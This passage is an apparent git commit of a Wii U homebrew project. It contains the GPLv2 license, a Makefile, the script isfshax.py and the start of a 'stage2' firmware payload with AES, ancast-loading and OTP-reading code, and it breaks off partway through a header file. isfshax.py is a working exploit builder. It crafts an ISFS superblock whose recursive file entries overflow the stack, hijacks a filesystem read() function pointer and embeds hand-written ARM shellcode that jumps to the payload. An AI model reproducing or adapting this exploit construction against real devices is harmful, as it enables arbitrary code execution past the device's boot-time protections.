first commit

This commit is contained in:
rw-r-r-0644 2021-05-26 01:53:11 +02:00
commit ba607fb319
78 changed files with 45230 additions and 0 deletions

339
COPYING Normal file
View File

@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

151
Makefile Normal file
View File

@ -0,0 +1,151 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
include $(DEVKITARM)/ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
# SPECS is the directory containing the important build and link files
#---------------------------------------------------------------------------------
export TARGET := stage2
export BUILD ?= build
R_SOURCES :=
SOURCES := stage2 stage2/fatfs stage2/isfs
R_INCLUDES :=
INCLUDES := stage2
DATA :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv5te -mcpu=arm926ej-s -marm -mthumb-interwork -mbig-endian -mfloat-abi=soft
CFLAGS := -g -std=c11 -Wall -Wno-unused-function -O3 \
-fomit-frame-pointer -ffunction-sections \
$(ARCH)
CFLAGS += $(INCLUDE) -DCAN_HAZ_IRQ -D_GNU_SOURCE -fno-builtin-printf -Wno-nonnull
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions
ASFLAGS := -g $(ARCH)
LDFLAGS = -n -nostartfiles -g --specs=../stage2/link.specs $(ARCH) -Wl,--gc-sections,-Map,$(TARGET).map \
-L$(DEVKITARM)/lib/gcc/arm-none-eabi/5.3.0/be -L$(DEVKITARM)/arm-none-eabi/lib/be
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS :=
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export ROOTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGET)
SOURCES := $(SOURCES) $(foreach dir,$(R_SOURCES), $(dir) $(filter %/, $(wildcard $(dir)/*/)))
INCLUDES := $(INCLUDES) $(foreach dir,$(R_INCLUDES), $(dir) $(filter %/, $(wildcard $(dir)/*/)))
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.S=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@$(MAKE) -C $(ROOTDIR)/stage2ldr clean
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT)-strip.elf $(OUTPUT).bin
@rm -fr $(ROOTDIR)/superblock.img $(ROOTDIR)/superblock.img.sha
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ELFLOADER = $(ROOTDIR)/stage2ldr/stage2ldr.bin
$(ROOTDIR)/superblock.img: $(OUTPUT).bin
@echo $(notdir $@)
@python3 $(ROOTDIR)/isfshax.py $< $@
$(OUTPUT).bin: $(TARGET)-strip.elf $(ELFLOADER)
@echo $(notdir $@)
@cat $(ELFLOADER) $< > $@
$(TARGET)-strip.elf: $(TARGET).elf
@echo $(notdir $@)
@$(STRIP) $< -o $@
$(TARGET).elf: $(OFILES)
$(ELFLOADER):
@$(MAKE) -C $(ROOTDIR)/stage2ldr
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

147
isfshax.py Normal file
View File

@ -0,0 +1,147 @@
#!/usr/bin/env python3
import struct
import sys
from Crypto.Hash import SHA1
stage2file = sys.argv[1]
outfile = sys.argv[2]
stage2 = bytearray(open(stage2file, "rb").read())
# create superblock header
header = struct.pack(">III",
0x53465321, # magic
0xfffffffe, # generation
0x00000000 # field_0x8
)
# mark all blocks as bad
fat = [0xFFFD] * 0x8000
# generate FST entries
def fstEntry(name, mode=2, attr=0, sub=0xFFFF, sib=0xFFFF, size=0, x1=0, uid=0, gid=0, x3=0):
return struct.pack(">12sBBHHIHHHI", name.encode('ascii'), mode, attr, sub, sib, size, x1, uid, gid, x3)
# create FST root node
fst = fstEntry(name="/", sub=1)
# create /sys/config/system.xml
fst += fstEntry(name="sys", sub=2, sib=4)
fst += fstEntry(name="config", sub=3)
fst += fstEntry(name="system.xml", mode=0xC1, sub=0x7FFF, size=0x636)
fat[0x7FFF] = 0xFFFB # prevent infinite loop in ISFS stat
# ensure IOS detects this as a *very* broken
# superblock rather than trying to repair it
# by setting one file node sub to >0xFFFB
fst += fstEntry(name="ios.stop", mode=0xC1, sib=5, sub=0xFFFC, size=1)
# create 0x69 recursive entries to overflow the stack up
# to 0x0D40E240 and overwrite FLA's FS device pointer
# with the address of the superblock
for i in range(5+0, 5+0x68):
fst += fstEntry(name="a", sub=(i+1))
fst += fstEntry(name="a")
# clear stage2 fake FST entries mode field at k*0x20 + 0xC,
# otherwise boot1 will clear the first bit of the size field
repairData = bytearray()
offs = 0x0C
while offs < len(stage2):
if (len(repairData) & 0x1F) == 0x0C:
repairData.append(0) # skip FST mode field
repairData.append(stage2[offs])
stage2[offs] = 0
offs += 0x20
# place stage1/repairData/stage2 at the end of the FST
superblockStart = 0x01f80000
superblockEnd = superblockStart + 0x40000
fstOffset = 0x1000c
fstStart = superblockStart + fstOffset
fstAreaSize = 6143 * 0x20
stage2FstOffset = (fstAreaSize - len(stage2)) & ~0x1F
stage2Addr = fstStart + stage2FstOffset
repairDataFstOffset = (stage2FstOffset - len(repairData)) & ~0x1F
repairDataAddr = fstStart + repairDataFstOffset
# stage1 adds back the removed FST mode field bytes to stage2
stage1Code = [
b"\xe2\x8f\x00\x2c", # +00 add r0, pc, #0x2C @ get address of stage1 data
b"\xe8\x90\x00\x07", # +04 ldmia r0, {r0, r1, r2} @ load repairDataAddr, repairDataEnd, stage2Addr
b"\xe2\x82\x50\x0c", # +08 add r5, r2, 0xC @ compute address of first missing byte
b"\x00\x00\x00\x00", # +0C @ skip FST mode field
b"\xe2\x00\x40\x1f", # +10 loop: and r4, r0, #0x1F @ get last 5 bits of repair data ptr
b"\xe4\xd0\x30\x01", # +14 ldrb r3, [r0], #1 @ load byte and increment repair data ptr
b"\xe3\x54\x00\x18", # +18 cmp r4, #0x18 @ ignore repair data when ptr ends with 0x18 (-> fst+0xC)
b"\x14\xc5\x30\x20", # +1C strbne r3, [r5], #0x20 @ otherwise write repair data to missing byte
b"\xe1\x50\x00\x01", # +20 cmp r0, r1 @ check if repair data finished
b"\x12\x4f\xf0\x1c", # +24 bne loop (subne pc, pc, #0x1C) @ otherwise loop
b"\xe1\x2f\xff\x12", # +28 bx r2 @ jump to stage2
b"\x00\x00\x00\x00", # +2C skip FST mode field
b"\x00\x00\x00\x00", # +30
]
stage1 = b"".join(stage1Code)
stage1 += struct.pack(">III", repairDataAddr, repairDataAddr + len(repairData), stage2Addr)
stage1FstOffset = (repairDataFstOffset - len(stage1)) & ~0x1F
stage1Addr = fstStart + stage1FstOffset
# append stage1/repairData/stage2 to the FST
if stage1FstOffset < len(fst):
print("ERROR: insufficient superblock space for stage1")
sys.exit(1)
print('(offs %#05x) %#08x -> stage1' % (fstOffset + stage1FstOffset, stage1Addr))
if repairDataFstOffset < len(fst):
print("ERROR: insufficient superblock space for repair data")
sys.exit(1)
print('(offs %#05x) %#08x -> repair data' % (fstOffset + repairDataFstOffset, repairDataAddr))
if stage2FstOffset < len(fst):
print("ERROR: insufficient superblock space for stage2")
sys.exit(1)
print('(offs %#05x) %#08x -> stage2' % (fstOffset + stage2FstOffset, stage2Addr))
fst += b"\x00" * (stage1FstOffset - len(fst))
fst += stage1
fst += b"\x00" * (repairDataFstOffset - len(fst))
fst += repairData
fst += b"\x00" * (stage2FstOffset - len(fst))
fst += stage2
fst += b"\x00" * (fstAreaSize - len(fst))
# write stage1 entrypoint to the first two FAT entries; after
# the stack overflow overwrites FLA's FS device pointer with
# the address of the superblock, they will be interpreted as
# as the structure's read() function pointer
fat[0] = stage1Addr >> 16
fat[1] = stage1Addr & 0xffff
# create superblock
superblock = header
superblock += struct.pack(">32768H", *fat)
superblock += fst
superblock += b"\x00" * 0x14
# write crafted superblock
f = open(outfile, "wb")
f.write(superblock)
f.close()
# write crafted superblock hash
h = SHA1.new(superblock)
f = open(outfile + ".sha", "wb")
f.write(h.digest())
f.close()
print("isfshax: written superblock to " + outfile)

102
stage2/aes.c Normal file
View File

@ -0,0 +1,102 @@
#include "aes.h"
#include "latte.h"
#include "utils.h"
#include "memory.h"
#include "string.h"
#define AES_CMD_RESET 0
#define AES_CMD_ENCRYPT 0x9000
#define AES_CMD_DECRYPT 0x9800
static inline void aes_command(u16 cmd, u8 iv_keep, u32 blocks)
{
if (blocks != 0)
blocks--;
write32(AES_CTRL, (cmd << 16) | (iv_keep ? 0x1000 : 0) | (blocks&0x7f));
while (read32(AES_CTRL) & 0x80000000);
}
void aes_reset(void)
{
write32(AES_CTRL, 0);
while (read32(AES_CTRL) != 0);
}
void aes_set_iv(u8 *iv)
{
int i;
for(i = 0; i < 4; i++) {
write32(AES_IV, *(u32 *)iv);
iv += 4;
}
}
void aes_empty_iv(void)
{
int i;
for(i = 0; i < 4; i++)
write32(AES_IV, 0);
}
void aes_set_key(u8 *key)
{
int i;
for(i = 0; i < 4; i++) {
write32(AES_KEY, *(u32 *)key);
key += 4;
}
}
void aes_decrypt(u8 *src, u8 *dst, u32 blocks, u8 keep_iv)
{
dc_flushrange(src, blocks * 16);
dc_invalidaterange(dst, blocks * 16);
ahb_flush_to(RB_AES);
int this_blocks = 0;
while(blocks > 0) {
this_blocks = blocks;
if (this_blocks > 0x80)
this_blocks = 0x80;
write32(AES_SRC, dma_addr(src));
write32(AES_DEST, dma_addr(dst));
aes_command(AES_CMD_DECRYPT, keep_iv, this_blocks);
blocks -= this_blocks;
src += this_blocks<<4;
dst += this_blocks<<4;
keep_iv = 1;
}
ahb_flush_from(WB_AES);
ahb_flush_to(RB_IOD);
}
void aes_encrypt(u8 *src, u8 *dst, u32 blocks, u8 keep_iv)
{
dc_flushrange(src, blocks * 16);
dc_invalidaterange(dst, blocks * 16);
ahb_flush_to(RB_AES);
int this_blocks = 0;
while(blocks > 0) {
this_blocks = blocks;
if (this_blocks > 0x80)
this_blocks = 0x80;
write32(AES_SRC, dma_addr(src));
write32(AES_DEST, dma_addr(dst));
aes_command(AES_CMD_ENCRYPT, keep_iv, this_blocks);
blocks -= this_blocks;
src += this_blocks<<4;
dst += this_blocks<<4;
keep_iv = 1;
}
ahb_flush_from(WB_AES);
ahb_flush_to(RB_IOD);
}

29
stage2/aes.h Normal file
View File

@ -0,0 +1,29 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __AES_H__
#define __AES_H__
#include "types.h"
#define AES_BLOCK_SIZE 16
void aes_reset(void);
void aes_set_iv(u8 *iv);
void aes_empty_iv();
void aes_set_key(u8 *key);
void aes_decrypt(u8 *src, u8 *dst, u32 blocks, u8 keep_iv);
void aes_encrypt(u8 *src, u8 *dst, u32 blocks, u8 keep_iv);
#endif /* __AES_H__ */

69
stage2/ancast.c Normal file
View File

@ -0,0 +1,69 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "utils.h"
#include "memory.h"
#include "debug.h"
#include <string.h>
#include <sys/errno.h>
#include <stdio.h>
#include "sha.h"
#include "crypto.h"
#include "smc.h"
#include "ancast.h"
u32 ancast_iop_load(u8* buffer, size_t size)
{
u32 magic = read32((u32) buffer);
if(magic != ANCAST_MAGIC) {
DEBUG("ancast_iop_load: not an ancast image (magic is 0x%08lX, expected 0x%08lX).\n", magic, ANCAST_MAGIC);
return 0;
}
u32 sig_offset = read32((u32) &buffer[0x08]);
u32 sig_type = read32((u32) &buffer[sig_offset]);
if (sig_type != 0x02) {
DEBUG("ancast_iop_load: unexpected signature type 0x%02lX.\n", sig_type);
return 0;
}
ancast_header* ancast = (ancast_header*)&buffer[0x1A0];
u8 target = ancast->device >> 4;
if(target != ANCAST_TARGET_IOP) {
DEBUG("ancast: not an IOP image (target is 0x%02X, expected 0x%02X).\n", target, ANCAST_TARGET_IOP);
return 0;
}
u8* body = (u8*)(ancast + 1);
u32 hash[SHA_HASH_WORDS] = {0};
sha_hash(body, hash, ancast->body_size);
u32* h1 = ancast->body_hash;
u32* h2 = hash;
if(memcmp(h1, h2, SHA_HASH_SIZE) != 0) {
DEBUG("ancast: body hash check failed.\n");
DEBUG(" expected: %08lX%08lX%08lX%08lX%08lX\n", h1[0], h1[1], h1[2], h1[3], h1[4]);
DEBUG(" calculated: %08lX%08lX%08lX%08lX%08lX\n", h2[0], h2[1], h2[2], h2[3], h2[4]);
return 0;
}
ios_header* header = (ios_header*)body;
u32 vector = (u32) &body[header->header_size];
return vector;
}

42
stage2/ancast.h Normal file
View File

@ -0,0 +1,42 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _ANCAST_H
#define _ANCAST_H
#include "types.h"
#include "sha.h"
#define ANCAST_MAGIC (0xEFA282D9l)
#define ANCAST_TARGET_IOP (0x02)
#define ANCAST_ADDRESS_IOP (0x01000000)
typedef struct {
u16 unk1;
u8 unk2;
u8 unk3;
u32 device;
u32 type;
u32 body_size;
u32 body_hash[SHA_HASH_WORDS];
u32 version;
u8 padding[0x38];
} ancast_header;
typedef struct {
u32 header_size;
u32 loader_size;
u32 elf_size;
u32 ddr_init;
} ios_header;
u32 ancast_iop_load(u8* buffer, size_t size);
#endif

37
stage2/bsdtypes.h Normal file
View File

@ -0,0 +1,37 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __BSDTYPES_H__
#define __BSDTYPES_H__
#include "types.h"
#include "errno.h"
#include <sys/types.h>
//typedef u32 u_int;
typedef u32 u_int32_t;
typedef u16 u_int16_t;
typedef u8 u_int8_t;
typedef u8 u_char;
typedef u32 bus_space_tag_t;
typedef u32 bus_space_handle_t;
#define MIN(a, b) (((a)>(b))?(b):(a))
#define wakeup(...)
#define ISSET(var, mask) (((var) & (mask)) ? 1 : 0)
#define SET(var, mask) ((var) |= (mask))
#endif

36
stage2/crypto.c Normal file
View File

@ -0,0 +1,36 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "crypto.h"
#include "latte.h"
#include "utils.h"
#include "memory.h"
#include "irq.h"
#include "string.h"
#include "aes.h"
otp_t otp;
void crypto_read_otp(void)
{
u32 *otpd = (u32*)&otp;
int word, bank;
for (bank = 0; bank < 8; bank++)
{
for (word = 0; word < 0x20; word++)
{
write32(LT_OTPCMD, 0x80000000 | bank << 8 | word);
*otpd++ = read32(LT_OTPDATA);
}
}
}

136
stage2/crypto.h Normal file
View File

@ -0,0 +1,136 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
